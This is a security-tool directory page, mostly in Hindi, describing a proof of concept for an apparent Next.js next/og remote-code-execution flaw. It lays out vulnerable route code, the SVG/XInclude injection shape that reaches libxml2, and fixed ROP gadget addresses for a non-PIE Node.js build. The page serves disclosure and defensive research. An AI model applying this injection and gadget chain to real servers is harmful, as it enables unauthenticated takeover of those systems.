Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-94545- — CVE-2026-94545 के लिए Python PoC: libxml2 भ्रष्टाचार को ट्रिगर करने और अनधिकृत RCE के लिए ROP चेन बनाने हेतु Next.js next/og में अनएस्केप्ड SVG इनपुट का शोषण करता है। | Kitploit
उपकरण/GitHubGitHub/mrdark-ops/cve-2026-94545-
पेलोड जनरेशनभेद्यता विश्लेषणशोषणशेलकोडवेब एप्लिकेशन शोषणवेब सुरक्षाबाइनरी शोषण
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

CVE-2026-94545 के लिए Python PoC: libxml2 भ्रष्टाचार को ट्रिगर करने और अनधिकृत RCE के लिए ROP चेन बनाने हेतु Next.js next/og में अनएस्केप्ड SVG इनपुट का शोषण करता है।

रिपॉजिटरी देखें
111 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-94545: Next.js next/og अनधिकृत रिमोट कोड निष्पादन

केवल सुरक्षा अनुसंधान उपयोग के लिए, अधिकृत भेद्यता वातावरण में।

आइटममान
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
अपस्ट्रीमSatori GHSA-wx4j-mvgx-mqwp
मूल कारणCWE-116 (आउटपुट का अनुचित एन्कोडिंग या एस्केपिंग) → नेटिव XML पार्सर मेमोरी करप्शन → RCE
प्रभावितNext.js 16.2.0 – 16.3.5 (sharp स्थापित के साथ Node रनटाइम); बंडल किया गया Satori ≥ 0.0.27 और < 0.33.5
ठीक किया गयाNext.js 16.3.6 / Satori 0.33.5
प्रभावप्रमाणीकरण के बिना Next.js सेवा प्रक्रिया में मनमाने कमांड निष्पादित करें
परीक्षित स्टैकNext.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + Node.js v24.20.0 आधिकारिक x64 बाइनरी (गैर-PIE)

Edge रनटाइम (export const runtime = 'edge') के साथ या जब sharp स्थापित नहीं है, रेंडरिंग resvg-wasm सैंडबॉक्स के माध्यम से होती है, इसलिए यह भेद्यता नेटिव पार्सिंग श्रृंखला तक नहीं पहुँचती और इसलिए RCE नहीं बनती।

भेद्यता श्रृंखला

उपयोगकर्ता इनपुट को सादे टेक्स्ट के रूप में SVG में जोड़ा जाता है, और फिर इस SVG को पूरी तरह से एक data: URL में डालकर दूसरे दौर की पार्सिंग के लिए C-भाषा XML पार्सर को सौंप दिया जाता है। बीच में केवल URL एन्कोडिंग की जाती है; XML एस्केपिंग कभी नहीं की जाती।

परत 1: App Router — अविश्वसनीय इनपुट रेंडर फ़ंक्शन में प्रवेश करता है

विशिष्ट पैटर्न: POST /api/og पूरे अनुरोध बॉडी को, या GET /api/og?value= क्वेरी पैरामीटर को, बिना फ़िल्टरिंग या एस्केपिंग के सीधे ImageResponse के SVG <title> में रखता है।

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse एक JSX element tree प्राप्त करता है और एक PNG लौटाता है। कोई भी route जो request data को SVG child nodes / attributes / styles में लिखता है, वह एक sink है।

Layer 2: next/og Entry Forwarding

node_modules/next/og.js next/dist/server/og/image-response.js को forward करता है। Node runtime गतिशील रूप से next/dist/compiled/@vercel/og/index.node.js (native path) लोड करता है; Edge runtime wasm path लोड करता है और इस vulnerability से प्रभावित नहीं है।

Layer 3: @vercel/og — Satori SVG उत्पन्न करता है, फिर उसे Rasterization के लिए सौंप देता है

Next.js के bundled @vercel/og (compiled artifact comments पुष्टि करते हैं कि इसमें [email protected] है) का flow इस प्रकार है:

  1. JSX tree को SVG string में serialize करने के लिए Satori का उपयोग करें।
  2. यदि sharp का पता चलता है, तो rasterization के लिए SVG को native library को सौंपें; अन्यथा resvg-wasm पर fallback करें।
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

इस बिंदु पर, उपयोगकर्ता इनपुट पहले से ही एक SVG स्ट्रिंग बन चुका है और इसे verbatim रूप में sharp (native libvips) को पास किया जाता है।

लेयर 4: Satori 0.25.0 — टेक्स्ट केवल URL-एन्कोडेड होता है, कभी XML-एस्केप नहीं

JSX में स्पष्ट रूप से लिखे गए <svg> के लिए, Satori इसे पूरी तरह से एक data:image/svg+xml URL में सीरियलाइज़ करता है और फिर इसे आउटपुट में <image> के रूप में एम्बेड करता है।

vercel/[email protected] src/layout.ts: <svg> नोड में प्रवेश करते समय SVGNodeToImage को कॉल करता है।

src/handler/preprocess.ts में दो प्रमुख खामियाँ हैं:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&, <, और > को &amp; / &lt; / &gt; के रूप में नहीं लिखा जाता है। प्रतिशत-एन्कोडिंग केवल एक URL सिंटैक्स आवश्यकता है; जब डाउनस्ट्रीम पार्सर data: URL को लोड करता है, तो %3C/title%3E को वास्तविक </title> में पुनर्स्थापित कर दिया जाता है, और हमलावर का टेक्स्ट "डेटा" से वापस "डॉक्यूमेंट संरचना" में परिवर्तित हो जाता है।

जब इनपुट </title><xi:include …/><title> होता है, तो Satori द्वारा sharp को सौंपा गया मध्यवर्ती SVG निम्नलिखित रूप लेता है (चित्रण के लिए डिकोड किया गया):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

परत 5: sharp → libvips → librsvg → libxml2 — नेटिव पार्सिंग और मेमोरी करप्शन

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

पेलोड libxml2 की इनपुट संरचना को नियंत्रित करने के लिए दो स्तरों के इंजेक्शन का उपयोग करता है:

  1. बाहरी </title><xi:include parse="xml" href="data:…"> पार्सर को पूरी तरह से हमलावर द्वारा नियंत्रित एक नेस्टेड दस्तावेज़ लोड करने के लिए विवश करता है।
  2. नेस्टेड दस्तावेज़ के अंदर, फिर नेस्टेड DTD एंटिटीज़ + XInclude का उपयोग अत्यधिक गहरे / चौड़े एंटिटी विस्तार और संदर्भ ग्राफ़ के निर्माण के लिए किया जाता है।

libxml2 की आंतरिक स्थिति अपेक्षाओं से परे धकेल दी जाती है, जिसके परिणामस्वरूप आउट-ऑफ़-बाउंड राइट होता है। भ्रष्टाचार प्रभाव को सावधानीपूर्वक व्यवस्थित SVG <path> निर्देशांक अनुक्रमों (8-बाइट लिटिल-एंडियन शब्दों को वहन करने वाले IEEE-754 डबल्स) के माध्यम से विश्वसनीय रूप से स्थापित किया जाता है, जिससे नियंत्रण प्रवाह को हाईजैक किया जाता है।

परत 6: नॉन-PIE Node निश्चित-पता ROP → execve

आधिकारिक रूप से जारी Node.js linux-x64 बाइनरी एक नॉन-PIE निष्पादन योग्य फ़ाइल है जिसका लोड बेस निश्चित है; PLT / GOT और गैजेट पते स्थिर हैं, इसलिए किसी सूचना लीक की आवश्यकता नहीं है।

यह PoC Node.js v24.20.0 आधिकारिक x64 के विरुद्ध बनाया गया है; गैजेट्स इस प्रकार हैं:

प्रतीकपताउद्देश्य
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret (स्क्रैच में qword दर qword लिखता है)
EXECVE_PLT0x745FA0execve का PLT स्टब
SCRATCH0x6B5F500निश्चित रिटेबल पता
टूल डाउनलोड करें